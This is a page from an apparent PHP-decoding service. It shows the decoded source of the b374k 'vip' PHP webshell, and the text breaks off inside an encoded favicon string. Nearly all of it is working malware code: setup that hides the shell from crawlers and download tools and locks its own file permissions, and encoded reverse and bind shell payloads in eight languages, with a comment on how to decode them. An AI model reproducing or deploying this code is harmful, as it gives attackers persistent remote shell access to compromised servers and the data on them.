Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* B374k Vip In Beautify Just For Self Jayalah Indonesiaku & Lyke @ 2013 Http..

Decoded Output download

?><?php
/*
	B374k Vip In Beautify Just For Self
	Jayalah Indonesiaku & Lyke @ 2013
	Http://code.google.com/p/b374k-shell
*/

$s_ver        = 'vip'; // shell ver
$s_title      = 'b374k ' . $s_ver; // shell title

@ob_start();
@set_time_limit(0);
@ini_set('html_errors', '0');
@clearstatcache();
@chmod($_SERVER['SCRIPT_FILENAME'],0444);
define('DS', DIRECTORY_SEPARATOR);
date_default_timezone_set('PRC');
$s_login_time = 3600; // cookie time (login)

// kill search robots
if(isset($_SERVER['HTTP_USER_AGENT']) && (preg_match('/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i', $_SERVER['HTTP_USER_AGENT']))){die(header('HTTP/1.0 404 Not Found'));}elseif(!isset($_SERVER['HTTP_USER_AGENT'])){die(header('HTTP/1.0 404 Not Found'));}

// resources $s_rs_pl $s_rs_py $s_rs_rb $s_rs_js $s_rs_c $s_rs_java $s_rs_java $s_rs_win $s_rs_php this was used with bind and reverse shell
// use gzinflate(base64_decode($the_code)) if you wanna see the real code.. in case you dont trust me ;-P
$s_rs_pl ='lZJhj5NAEIY/t0n/w8rttZBwR+uZmBRpbCia5mxpWE5jrBIKY9kcZQm7pzW987e7C5wSY4x+m3l3eGZ54OyJdccra0cLC4ovqIQqH/TPUCZEyaeWlbAULveM7XO4TNjBKq3d1fNntxc8gzy3Bv07DmjpT6eEJbcg7EEfM+7gT76qeOZocCxZJVDoBSvnKKA62BsycUZbvHm32M5GdnsuQ7u+A8/QBdXk0/SzrlDfD9ZXGVPjVOPOXX9FNp57jqxrzX6QS4SzB1FWTLDdtyI+gD4SSTkyJIHXV9KJOdy8ipZrLzSHxHevIxIG3nxlYmHc36cUdKPZ9nIevH7rOBPjNOj3cOlg1X8Yf5SnPQ5C0VipcMR/EymQBBI/Crwb4s0Xi8CcKFBPvkQqh9R4nKZVRAsdl+ZyrUai+fq90dnayykXUMjxq24aJwnITa5JjGa5JLqmVotHtXg0RQkrCkgEpNtCM8f1ICuhQCRcLNem9mLoavZj4N+EpjbrJl4QtIl8Do6QIKm3c4UkZxx017CbgvwsFL3TSHKnk1SjAVKBxrIa9OUngpz/0vv0T3px1raTpqUOLUBEsWBSXtZVg2PnN7OYds9bK9Iojrt57ZD8o0O9dTgbEs2wH5NWYjdqLarobxr/z15jDE5Koi7/qYcf';
$s_rs_py = 'lVRtT9swEP6cSv0PwZuGowaHFqZJZalUQZjQBlRtp30AVqXONYlI7ch2ofz72U5CA2JiU9XW9/Lci+85f9gLNlIEy5wFwB7c8kllnHU7H9xMqVIOg4DyBEjKeVoAoXwdlMHy6Mvx/YHMoCiCbidfl1woV4AvN8tScApS+lz68kl/Ob0H5at8Dd1OGSLU7WT2N4GVawNg6g27Hcfgwh2eTHgJDFPf+oRzsdHRVcI36oXTxSQyahDiLXXOXms9nUmA2gjmGjWpQhIBcYK9XqPS4VqqdamwxlUlx1TlnNU15yuXS8LiNeyFiClkdM4qpGSVF8C4QTmO9tAXoWCNEWztRc2j6WW4VSDWJ5NZP9z/OPl1Nto/qa1adWKHITP3IHe/fkI9qQReeT3kjtrCYCeZRFBIsAU8Zjq7a27Mio4ST9XBEbo0AfQB9w8Hx7Y4B7YUSlXby1jKStvEckyPuhcsvNFhrXGWoQAiIRY0w4gmty6++X0r73oe8oW/KuJUGoeLb1fX0+h0PIu8GqdDLZsY9d2VscpILpNc4CVJBd+UuO95z07m8mj2ytoY9aiAJbiZUKNv1a7xhi+WZcJrZ94oN2aJ7UyfTW91NCNVjjaOW5PlPNZSw4Em43BHJnTLUE8Xm4Kij4Y3aKQ5noZ68iQW6YNekuoeUy8MB5bvYXrTv+t2oGhZjtoWJ9OHgXXRlcA2V7p7s0Q5U7jUJxlW20WqP1xL4/PFxVU0r1ePzK5Pvy9m82k0vjQY3aYyFl4+A2bXPxbGq41ZTKOfs2h8djb1TdLX1UuiGZpgjA6J/SC/tAOQpMg11xn+/BJkGzNEdPVAOWNAFcZZDWpx0LwTRBYApY2wG+abq+bIamjIvkfVc+IO3ToBJHoodpg7SrwDQL0XbKqXXXr1DOoe9KsUe6EeLDV147+30P+HFuj/tvAO4O0WqPcH';
$s_rs_rb = 'tVZrb9s2FP1M/QqWySprcaSm6zDMmWL0sQ4FVtRI0w1DlRU2dW0RkUmNpOoUSfbbx5ccu7aTDNhoGJTuPbxP3mPvPcpaJbMJ4xnwz1i2ky/RHq60btQgy6goIZ0JMashpWKeNdnkux+eXRyqCuo6iyT81TIJOFaCXoCObwXNWFd8PIc4ikqYYtXSCxUhCbqVHJ9+ePHHp9Gvz89evzt9m5ZiwelYQTofa1r14rlaMH5tv3PGZ4s4GWrZwmA6rhVEwEtvUcK4tk56SsvEWM7NHiE2xa+ZiRUumdJqGJRGOwrxpBwWTpp2BlItPpnQrGF73EWKdQUcy1ymM9VOelmRZX1SFCTBDhbSkD4ac+j56S+/pTXwma7y/CjCZlnRxyfn+d/Znx+fHP54fnXU//5mPxs2+RuuYQayFxDJwASr3RmVn70cvQf5GaSLk5B+kzgNzVU6phQaD6RpIxnXmLhuYNcNPMBUcA5UQ1lw4nATmDHunuwygXKhQy/wyprm1FaBrQnhEihWzs+0R+CyEVLjs59P3+aXGuT8ePT+KI+L/dHvr4qT+DjojfDY3SVV4UOGi5+Kx9+UuDhx21O/k/7UfpKlN7CNXXXdpbfsMUlJckBOyBpqUZlO49rEPgO9npBdcswUYJBSyBdS2ORr24ySQSGH+9kGPlSnTmkl5k2eE7IBCTBrh5Y4/TZjWyF21Xkd7o5BZqwfx4k3vPNEd3VLMz9UC/ll2KuTnWjvY1mge5CvmDTejeW7gPYy79I9rCNLS7UKZSoWgzvLtC1pX6cHJ3Qf/D9NC3aaevMubUQDvFf3iSTJ1TUT1515JizblAfEzOXBhq+b7c62hP21bPW9e5agaHt77w35LekFuGrlbQYqpbVYyUjlnNVRZ8v3cI3YnjqC3EFsxtEmtR0baZW7t6Nzw7G2gCEgT7ie8dyPh2e8vavqxrEeUg/gOOQJDqE1akMITQ1fOkZD1t3/TWSoy2wZ9OaFMsqOsJQnLCNB95CUix9tYSYU5KtU5GRoN/Gg7tAWmkHd4VVGCcI18vAi1zu37kzY1eUrJtgdRTfIm27XNf/GOQTktulUD5zONadh91v4M7B14FCYNhulnzPz5CYMhfHyk+fAVvIP';
$s_rs_js = 'nVHLasMwEDwrkH8wvliGVIImUEjIqZ/QY/rAkTeWqCy5kpwUQv69kuykebSl2Afh3Zmd3Z2lNOHONXZOKdMlkErrSgJhuqYNXU8fZu93loOUdDzaFiaxTbFTyTIx8NEKAzhjXMjyrTGagbVZTiJh0ZEVuHOqD7O8h6wzUNTnaJc5EZhWVku4aNWlIqVXCZN5SkbXQlHLM4+IDe6nIY0s3EabmtSFYxzT151niTz/rmN1SeATQl3SSRam2nrkKBHCTjT8EQmqcny5nOb78QgFPvdkvxhhfnoHT2C2YPCmVcwJrbCNPGTJzggHOI2G9u3nYUcFzEH5rNKwVNJ/3WpeOJqJI/0ct5xYVwpFDNi2BpxfQ7p1xHdPy8IV6eQ4TYJDnO+P08RocbhVBmMGlv9Vdhz6php1LydSWAcqOr26fwnJw3gE0kJy7f/s5L+98P+xczRY36tM4kVX0yj330Og3y6AfrAeDfQcDTQbDXP58AU=';
$s_rs_c = 'rVJhb9owEP0Mv8JjU+tQFxPaaVJpKqFCJbQVEGSapg1FwTHEqrGj2EzQqf99thMYYdqkSf0Q5e7d8zv73uEmSLXO1A3GRCa0tZJyxWmLyDXO8OLqw/XTpUop5xg0cf0tE4RvEgpulU6YbKV3FShnYnWKJZwtTrCdwnqXUfUnrCR5orqKC6qZ+TATVXwjmFG3GBMarGMmoA3ifEUQSeMcNE3449vc+1mv2YJCBMnA79Zr5qIbYgDTLE6SPGICMAOzJbSHg6Bjj9RYSzERLeM147ug9xANR4Owe8Azmesg1VIoGGvJoOvlzz3vN8Vqt5T7OSaHw1Gv359GvdFXR1NB8V5YqqPZ+P5jNAung94jahcUqi1HZhoqU/4UWYpjRtPB59nA6qEziRR7pnIJZdl/Cd8oj26ZhoXMgonECMCTl4Omd8ZQe+sXLG4GSoXhvXcpCWJCqOvcPlzH6BDUcHsB3F6AG0CkEJRomnwXDdS5LrnJJusYbiXxj5NOIbkzTdewQbd2pCAcTB+Drab5ujuZ+cH5u8mX/t15t6wayISUAGxehFUKLlmjuCuXikJi45d6jXJFwcHOq9e30y6kiwpiZ15M+Znmco8gM2tuprknXPgXx8he+587MJxMpuNwHIX3k72vsBz2X90sN+Gk5nnebft4I5yT6j+cVNXEP05e30lVOPlS/wU=';
$s_rs_java = 'lVRNb9swDD2nQP+DkJM9ZHaTDdjWIsOwYYcBA1osvXXBoMiMrdWWBIn5Qpr/PkqWXXftpQfbEvlEPj5SznNWIRp3medCF5CVWpc1ZEI3uclX7z68v3/rKqjr/PxMNkZbZH/5lmdSZ2+unpoUYLCdn5nNqpaCiZo7x0KMP9Ydz89GxsotR2AOORJgLRWvI8wggz2CKhy7rSzwwuP7Az+U2eACyd4w6a6GrusNPvr0BgMDcrccDCZPz06eHUiPWEmXSTenyGFJxrmPdGpDfbnegrWygEHcrZYFsxuVpIHnCO2hXYxWB4S7JVuxOVOwY2H7cfpptrxq/VIhE+SkPL7MZJVGx66SNSTi8/wiZTHWiFhkOysRktXkYiI6aLCv642rkt70YsxT+LRvwVFUyfe9AINSKwbpETJSUZEWXNzfWi6AwgWwf7XVx3pjx0LZDZcqIf2kKqlQbkvXiuAr8+MQcrd+JpqCeI3zlVS5q8bBJdfJ4uAQmqwEvLHagMVDMtYuU7yBcZqh/ql3YL9xR4QyqQrYX6+T8U6qcerlOcao9Bm3fGO2nbeGgWNhaNklE1opEAjFb9VmH/Rn5wl8pb2LMi60uAdkVexdu42+vsNE39ec1aBKrObzaRyBUbgKc5pVhBJsZrh1QJuAvrtYdj1ZgKV5iqlcl2pgTHygDu25uIwL37Wu2W0/oXbA/iczey2ZVjhpCBtc0+Ug8UAEaSZswOv0shTs4YG9zGd4C0vpy668+gNzP8pPLmipe+zQ3oPJ392QzkQjJcD/Uujgr41C2YA/Hpc0UbAHkdDwpPFfQWrR5E5jwaSzeUZt4ol0CTx69ogu/V/FPGfYw6cZXR/r22dm/fJRxvB6xe2k5/QP';
$s_rs_win = '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';
$s_rs_php = '7VVNb+M2ED3bgP+DlhUQCVUsyy6wQFxmL+2xwKIt0MMmFWSKsghLIsuhai+a/PcORcnWOk6yaLe9tDBikzOcx/l4fPn2nSrVbPqVVxqj4CaOmcz5fCvltuJzJutYxZvV229211DyqopnU6611KnmSmojmm2wCNezKXCTGlHztBK1MM4mN6moVSWYMGlRtVAG1jqb+ibTW26oD6kGt14frUD5QVWYQkA8EvVGG+czoMlq9dYu9xlt2qqyS35aQkkJBmNa3s/f//gDPRiu6/X7nxJ6dee//+W726t170bbOt6IJobSuxbEBteUdGV6XZnejcdk03BmeH7XkC5tUQRMto0JhkxDSpPwj9l04ivqH+uY+JgG6RYGMUWT280j9q0CfgljeYYBHxb3Pc7RktwfATO26wG7lIq2YUbIJuUHAQaCK8UaU6WF1LursEcWOT1ZuyFMMLKz0+skxEgTJGOzMy0Gk5IgDimOGEQehGcxQyKYXF+uuxUoGM2zOgXJdsgO4Pp3rgNimEKSLebd54bMfRX5SKlGdj8Y0906xPa0ki22DKKVS8lnZ9gZY1zZE0PG6Dayknu8ENoN7gIkedo2Wc2DMFpEqxDLIHvRuGQnxV4LwwOfRX49x46zPRY6J7ekA5zsS1GhV72htMhwjC7Izqyw48E4d65rlubbtM4MKwMSs/zOCz78egf3X4exQD5jsVqHffzEz3OK+368Ll5AmgsdoCsMWTkse78v6Tg7Z33svnt6GS3qcfm+6kq18yLew4P3jP+3Fv2ht8Gu7tZHPA/v4wdbOV6H72D+9PJR56TLskunYJUEfmzMsHUDsics/JPWu8N+DjTTOvsYLOitWxAlFCcR0SSMknPjHo3LC8YeTWmqtGSpVLzBDMoI8XEQQjk/9uwN9lxzkK1mtlacz+hJjKm4qZBvVvNsOD7TaPHKkeT1I8uXj7DB6zhodDuwzz5+Lgvb44cHt3JXhuFojL7O+mbaDvc59Rf3rDreW6HeBRgQocDia8wiq6wnZosmPSHp7MRiQQtEyDs7g4Grw2D7VvkiHNP1E7whrYugg/MpMnsVdPkS6PKzQB/P+Dti9rB0FX66T872Q7c7Kg52PTyH078HJ6NW5AcZLazIOfKWnYDwBv+OYvg31A7+otrBf17t4LLavSBv8L+8XToCr8sbfKa8wReTN3hGNODflTf4J+TtHPQ5efsimvbu9k8=';
$s_favicon = 'data:image/png;base64,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